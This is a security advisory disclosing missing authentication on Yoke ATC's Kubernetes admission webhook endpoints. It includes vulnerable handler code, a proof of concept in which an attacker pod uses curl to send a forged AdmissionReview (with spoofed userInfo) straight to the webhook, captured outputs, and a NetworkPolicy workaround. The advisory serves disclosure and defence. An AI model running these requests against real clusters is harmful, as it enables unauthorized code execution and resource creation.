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شرح آسیبپذیری
Unauthenticated Admission Webhook Endpoints in Yoke ATC
This vulnerability exists in the Air Traffic Controller (ATC) component of Yoke, a Kubernetes deployment tool. The ATC webhook endpoints lack proper authentication mechanisms, allowing any pod within the cluster network to directly send AdmissionReview requests to the webhook, bypassing Kubernetes API Server authentication. This enables attackers to trigger WASM module execution in the ATC controller context without proper authorization.
Recommended CWE: CWE-306 (Missing Authentication for Critical Function)
Summary
Yoke ATC implements multiple Admission Webhook endpoints (/validations/{airway}, /validations/resources, /validations/flights.yoke.cd, /validations/airways.yoke.cd, etc.) that process AdmissionReview requests. These endpoints do not implement TLS client certificate authentication or request source validation. Any client that can reach the ATC service within the cluster can send requests directly to these endpoints, bypassing the Kubernetes API Server's authentication and authorization mechanisms.
Details
The vulnerability exists in the HTTP handler implementation where webhook endpoints accept and process requests without verifying the client identity.
Vulnerable Endpoint Handlers (cmd/atc/handler.go:147-335):
mux.HandleFunc("POST /validations/{airway}", func(w http.ResponseWriter, r *http.Request) {
var review admissionv1.AdmissionReview
if err := json.NewDecoder(r.Body).Decode(&review); err != nil {
http.Error(w, fmt.Sprintf("failed to decode review: %v", err), http.StatusBadRequest)
return
}
// No authentication check - request is processed directly
// ...
})
Additional Unauthenticated Endpoints:
/validations/resources(cmd/atc/handler.go:337-538)/validations/external-resources(cmd/atc/handler.go:540-597)/validations/airways.yoke.cd(cmd/atc/handler.go:599-636)/validations/flights.yoke.cd(cmd/atc/handler.go:638-733)/crdconvert/{airway}(cmd/atc/handler.go:61-145)
The code lacks:
TLS client certificate verification
Request source validation (verifying requests come from kube-apiserver)
Any form of authentication middleware
PoC
Environment Setup
Prerequisites:
Docker installed and running
kubectl installed
Go 1.21+ installed
kind installed
Step 1: Create Kind cluster
cat > /tmp/kind-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: yoke-vuln-test
nodes:
- role: control-plane
EOF
kind create cluster --config /tmp/kind-config.yaml
Step 2: Build and install Yoke CLI
git clone https://github.com/yokecd/yoke.git
cd yoke
GOPROXY=direct GOSUMDB=off go build -o /tmp/yoke ./cmd/yoke
Step 3: Deploy ATC
/tmp/yoke takeoff --create-namespace --namespace atc -wait 120s atc oci://ghcr.io/yokecd/atc-installer:latest
Step 4: Deploy Backend Airway example
/tmp/yoke takeoff -wait 60s backendairway "https://github.com/yokecd/examples/releases/download/latest/atc_backend_airway.wasm.gz"
Exploitation Steps
Step 1: Create attacker pod
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: webhook-attacker
namespace: default
spec:
containers:
- name: attacker
image: curlimages/curl:latest
command: ["sleep", "infinity"]
EOF
kubectl wait --for=condition=Ready pod/webhook-attacker --timeout=60s
Step 2: Probe webhook endpoints from attacker pod
kubectl exec webhook-attacker -- curl -k -s -w "\nHTTP_CODE: %{http_code}" \
-X POST https://atc-atc.atc.svc.cluster.local:80/validations/resources \
-H "Content-Type: application/json" -d '{}'
Actual output from verification:
panic
HTTP_CODE: 500
The HTTP 500 response (not 401/403) indicates the endpoint is accessible without authentication. The error is due to invalid request body format, not authentication failure.
Step 3: Send crafted AdmissionReview request
Create malicious request file:
cat > /tmp/malicious-review.json << 'EOF'
{
"apiVersion": "admission.k8s.io/v1",
"kind": "AdmissionReview",
"request": {
"uid": "vul002-exploit-uid",
"kind": {"group": "examples.com", "version": "v1", "kind": "Backend"},
"resource": {"group": "examples.com", "version": "v1", "resource": "backends"},
"name": "exploit-backend",
"namespace": "default",
"operation": "CREATE",
"userInfo": {"username": "attacker-from-pod", "groups": ["system:unauthenticated"]},
"object": {
"apiVersion": "examples.com/v1",
"kind": "Backend",
"metadata": {"name": "exploit-backend", "namespace": "default"},
"spec": {"image": "nginx:latest", "replicas": 1}
}
}
}
EOF
kubectl cp /tmp/malicious-review.json webhook-attacker:/tmp/malicious-review.json
Send the request:
kubectl exec webhook-attacker -- curl -k -s -X POST \
https://atc-atc.atc.svc.cluster.local:80/validations/backends.examples.com \
-H "Content-Type: application/json" \
-d @/tmp/malicious-review.json
Actual output from verification:
{"kind":"AdmissionReview","apiVersion":"admission.k8s.io/v1","request":{"uid":"vul002-normal-test","kind":{"group":"examples.com","version":"v1","kind":"Backend"},"resource":{"group":"examples.com","version":"v1","resource":"backends"},"name":"vul002-normal-backend","namespace":"default","operation":"CREATE","userInfo":{"username":"attacker-from-pod","groups":["system:unauthenticated"]},"object":{"apiVersion":"examples.com/v1","kind":"Backend","metadata":{"name":"vul002-normal-backend","namespace":"default"},"spec":{"image":"nginx:latest","replicas":1}},"oldObject":null,"options":null},"response":{"uid":"vul002-normal-test","allowed":false,"status":{"metadata":{},"status":"Failure","message":"applying resource returned errors during dry-run..."}}}
Step 4: Verify ATC logs
kubectl logs -n atc deployment/atc-atc --tail=20 | grep backends.examples.com
Actual log output:
{"time":"2026-02-01T15:29:08.890991543Z","level":"INFO","msg":"request served","component":"server","code":200,"method":"POST","path":"/validations/backends.examples.com","elapsed":"435ms","validation":{"allowed":false,"status":"Invalid"}}
The elapsed: 435ms indicates WASM module execution occurred.
Expected Result
The attacker pod successfully sends AdmissionReview requests directly to the ATC webhook endpoint without any authentication. The ATC controller processes the request and executes the WASM module, proving that:
No TLS client certificate is required
No request source validation occurs
The fake
userInfois accepted without verificationWASM modules are executed based on unauthenticated requests
Impact
Vulnerability Type: Missing Authentication / Authentication Bypass
Attack Prerequisites:
Attacker has access to a pod within the cluster network
Network policies do not restrict access to the ATC service (common in default configurations)
Impact Assessment:
Confidentiality: Medium - Attacker can trigger WASM execution which may access controller context data
Integrity: High - Combined with VUL-001, attacker can create arbitrary Kubernetes resources
Availability: Medium - Attacker can cause resource exhaustion through repeated requests
Attack Scenario:
Attacker compromises a pod or gains access to the cluster network
Attacker sends crafted AdmissionReview requests directly to ATC webhook
ATC processes requests without verifying they came from the API Server
Combined with annotation injection (VUL-001), attacker can execute arbitrary WASM code
Malicious WASM can create resources or exfiltrate data using ATC's cluster-admin privileges
Severity
CVSS v3.1 Score: 7.5 (High)
Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Attack Vector (AV): Network - Accessible from cluster network
Attack Complexity (AC): Low - Simple HTTP request
Privileges Required (PR): None - No authentication required
User Interaction (UI): None - Automatic processing
Scope (S): Unchanged
Confidentiality (C): None - Direct impact limited
Integrity (I): High - Can trigger unauthorized WASM execution
Availability (A): None - No direct availability impact
Note: When combined with VUL-001, the overall impact increases significantly.
Affected Versions
Yoke ATC v0.18.x and earlier versions
All versions that implement Admission Webhook endpoints without client authentication
Patched Versions
No patch available at time of disclosure.
Workarounds
Network Policy: Deploy NetworkPolicy to restrict access to ATC service, allowing only kube-apiserver to connect
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: atc-webhook-policy
namespace: atc
spec:
podSelector:
matchLabels:
yoke.cd/app: atc
policyTypes:
- Ingress
ingress:
- from:
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: kube-system
podSelector:
matchLabels:
component: kube-apiserver
-
Service Mesh: Use a service mesh (Istio, Linkerd) to enforce mTLS between services
-
Pod Security: Implement strict pod security policies to limit which pods can be created in the cluster
References
Yoke Project: https://github.com/yokecd/yoke
Kubernetes Admission Webhooks: https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/
CWE-306: Missing Authentication for Critical Function: https://cwe.mitre.org/data/definitions/306.html
Credits
credit for: @b0b0haha (603571786@qq.com) @lixingquzhi (mayedoushidalao@163.com)
پیوندها
- https://github.com/advisories/GHSA-965m-v4cc-6334
- https://github.com/yokecd/yoke
- https://github.com/yokecd/yoke/blob/bc9c576a790df8c42aa06b90fb406220f1de22a0/cmd/atc/handler.go#L148-L153
- https://github.com/yokecd/yoke/security/advisories/GHSA-965m-v4cc-6334
- https://nvd.nist.gov/vuln/detail/CVE-2026-26055
گزارشدهندگان
- b0b0haha
- lixingquzhi

